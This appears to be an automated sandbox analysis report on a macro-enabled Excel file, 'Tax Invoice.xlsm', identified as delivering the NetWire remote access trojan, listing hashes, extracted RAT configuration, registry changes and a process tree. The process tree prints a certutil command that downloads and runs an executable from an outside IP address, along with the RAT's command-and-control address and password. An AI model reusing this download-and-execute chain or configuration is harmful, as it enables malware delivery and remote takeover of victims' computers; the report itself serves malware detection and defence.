Analysis
-
max time kernel
102s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
17-11-2022 07:15
Static task
static1
Behavioral task
behavioral1
Sample
Tax Invoice.xlsm
Resource
win7-20221111-en
General
-
Target
Tax Invoice.xlsm
-
Size
42KB
-
MD5
241d9fbb42762beb00492d32d5e9d291
-
SHA1
e6f1f8bbc40a59911543be499e1e07b54d55c3f4
-
SHA256
e7df88b691f820535f249821d16054a01f33e0acf3ae12d0b64f98cced910012
-
SHA512
a503b4e51bb09fa2e5c1b2a546cbf0c562200e77e67f2f81757f0b6f5460cc38e33d0ea871b7f7c1d92ed82ac3ca756a37e08a5e633077a560c9627516ea9aef
-
SSDEEP
768:IvjsCvCssn3uBIJYfTH+niSpKvDH7Nv+nWhFFiKk/f7qtNhTxRB+nE2g7/:IvDvCT3uG1ByT7Nv+qFFi3/jqLxxyE2g
Malware Config
Extracted
netwire
212.193.30.230:3345
-
activex_autorun
false
-
copy_executable
false
-
delete_original
false
-
host_id
HostId-%Rand%
-
keylogger_dir
%AppData%\Logs\
-
lock_executable
false
-
offline_keylogger
true
-
password
Password@9
-
registry_autorun
false
-
use_mutex
false
Signatures
-
NetWire RAT payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/1356-84-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-85-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-86-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-88-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-89-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-90-0x000000000040242D-mapping.dmp netwire behavioral1/memory/1356-94-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral1/memory/1356-95-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 360 1204 cmd.exe EXCEL.EXE -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
Niipxzvceptnltqinb.exe.exeNiipxzvceptnltqinb.exe.exepid process 268 Niipxzvceptnltqinb.exe.exe 1356 Niipxzvceptnltqinb.exe.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 360 cmd.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Niipxzvceptnltqinb.exe.exedescription pid process target process PID 268 set thread context of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1204 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1672 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
Niipxzvceptnltqinb.exe.exepowershell.exedescription pid process Token: SeDebugPrivilege 268 Niipxzvceptnltqinb.exe.exe Token: SeDebugPrivilege 1672 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1204 EXCEL.EXE 1204 EXCEL.EXE 1204 EXCEL.EXE -
Suspicious use of WriteProcessMemory 36 IoCs
Processes:
EXCEL.EXEcmd.exeNiipxzvceptnltqinb.exe.execmd.exedescription pid process target process PID 1204 wrote to memory of 360 1204 EXCEL.EXE cmd.exe PID 1204 wrote to memory of 360 1204 EXCEL.EXE cmd.exe PID 1204 wrote to memory of 360 1204 EXCEL.EXE cmd.exe PID 1204 wrote to memory of 360 1204 EXCEL.EXE cmd.exe PID 360 wrote to memory of 664 360 cmd.exe certutil.exe PID 360 wrote to memory of 664 360 cmd.exe certutil.exe PID 360 wrote to memory of 664 360 cmd.exe certutil.exe PID 360 wrote to memory of 664 360 cmd.exe certutil.exe PID 360 wrote to memory of 268 360 cmd.exe Niipxzvceptnltqinb.exe.exe PID 360 wrote to memory of 268 360 cmd.exe Niipxzvceptnltqinb.exe.exe PID 360 wrote to memory of 268 360 cmd.exe Niipxzvceptnltqinb.exe.exe PID 360 wrote to memory of 268 360 cmd.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1208 268 Niipxzvceptnltqinb.exe.exe cmd.exe PID 268 wrote to memory of 1208 268 Niipxzvceptnltqinb.exe.exe cmd.exe PID 268 wrote to memory of 1208 268 Niipxzvceptnltqinb.exe.exe cmd.exe PID 268 wrote to memory of 1208 268 Niipxzvceptnltqinb.exe.exe cmd.exe PID 1208 wrote to memory of 428 1208 cmd.exe PING.EXE PID 1208 wrote to memory of 428 1208 cmd.exe PING.EXE PID 1208 wrote to memory of 428 1208 cmd.exe PING.EXE PID 1208 wrote to memory of 428 1208 cmd.exe PING.EXE PID 268 wrote to memory of 1672 268 Niipxzvceptnltqinb.exe.exe powershell.exe PID 268 wrote to memory of 1672 268 Niipxzvceptnltqinb.exe.exe powershell.exe PID 268 wrote to memory of 1672 268 Niipxzvceptnltqinb.exe.exe powershell.exe PID 268 wrote to memory of 1672 268 Niipxzvceptnltqinb.exe.exe powershell.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe PID 268 wrote to memory of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Tax Invoice.xlsm"1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe && Niipxzvceptnltqinb.exe.exe2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe3⤵
-
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeNiipxzvceptnltqinb.exe.exe3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping google.com4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping google.com5⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeC:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe4⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeFilesize
7KB
MD5828988c5e283c07b481aae790b9f1664
SHA168240ab5ec927d8ee2af027110faee0f2531c828
SHA25644676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133
SHA5121a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d
-
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeFilesize
7KB
MD5828988c5e283c07b481aae790b9f1664
SHA168240ab5ec927d8ee2af027110faee0f2531c828
SHA25644676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133
SHA5121a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d
-
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeFilesize
7KB
MD5828988c5e283c07b481aae790b9f1664
SHA168240ab5ec927d8ee2af027110faee0f2531c828
SHA25644676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133
SHA5121a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d
-
\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exeFilesize
7KB
MD5828988c5e283c07b481aae790b9f1664
SHA168240ab5ec927d8ee2af027110faee0f2531c828
SHA25644676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133
SHA5121a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d
-
memory/268-72-0x000000000C7F0000-0x000000000CA00000-memory.dmpFilesize
2.1MB
-
memory/268-68-0x00000000001F0000-0x00000000001F8000-memory.dmpFilesize
32KB
-
memory/268-66-0x0000000000000000-mapping.dmp
-
memory/360-61-0x0000000000000000-mapping.dmp
-
memory/428-71-0x0000000000000000-mapping.dmp
-
memory/664-62-0x0000000000000000-mapping.dmp
-
memory/1204-60-0x00000000007D1000-0x00000000007D5000-memory.dmpFilesize
16KB
-
memory/1204-59-0x00000000007D1000-0x00000000007D5000-memory.dmpFilesize
16KB
-
memory/1204-58-0x00000000729BD000-0x00000000729C8000-memory.dmpFilesize
44KB
-
memory/1204-57-0x0000000075C11000-0x0000000075C13000-memory.dmpFilesize
8KB
-
memory/1204-54-0x000000002F461000-0x000000002F464000-memory.dmpFilesize
12KB
-
memory/1204-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1204-97-0x00000000729BD000-0x00000000729C8000-memory.dmpFilesize
44KB
-
memory/1204-96-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1204-55-0x00000000719D1000-0x00000000719D3000-memory.dmpFilesize
8KB
-
memory/1204-77-0x00000000729BD000-0x00000000729C8000-memory.dmpFilesize
44KB
-
memory/1208-70-0x0000000000000000-mapping.dmp
-
memory/1356-86-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-88-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-80-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-82-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-84-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-85-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-95-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-79-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-89-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-94-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/1356-90-0x000000000040242D-mapping.dmp
-
memory/1672-76-0x0000000004CA0000-0x0000000004F72000-memory.dmpFilesize
2.8MB
-
memory/1672-78-0x0000000066AA0000-0x000000006704B000-memory.dmpFilesize
5.7MB
-
memory/1672-75-0x0000000066AA0000-0x000000006704B000-memory.dmpFilesize
5.7MB
-
memory/1672-73-0x0000000000000000-mapping.dmp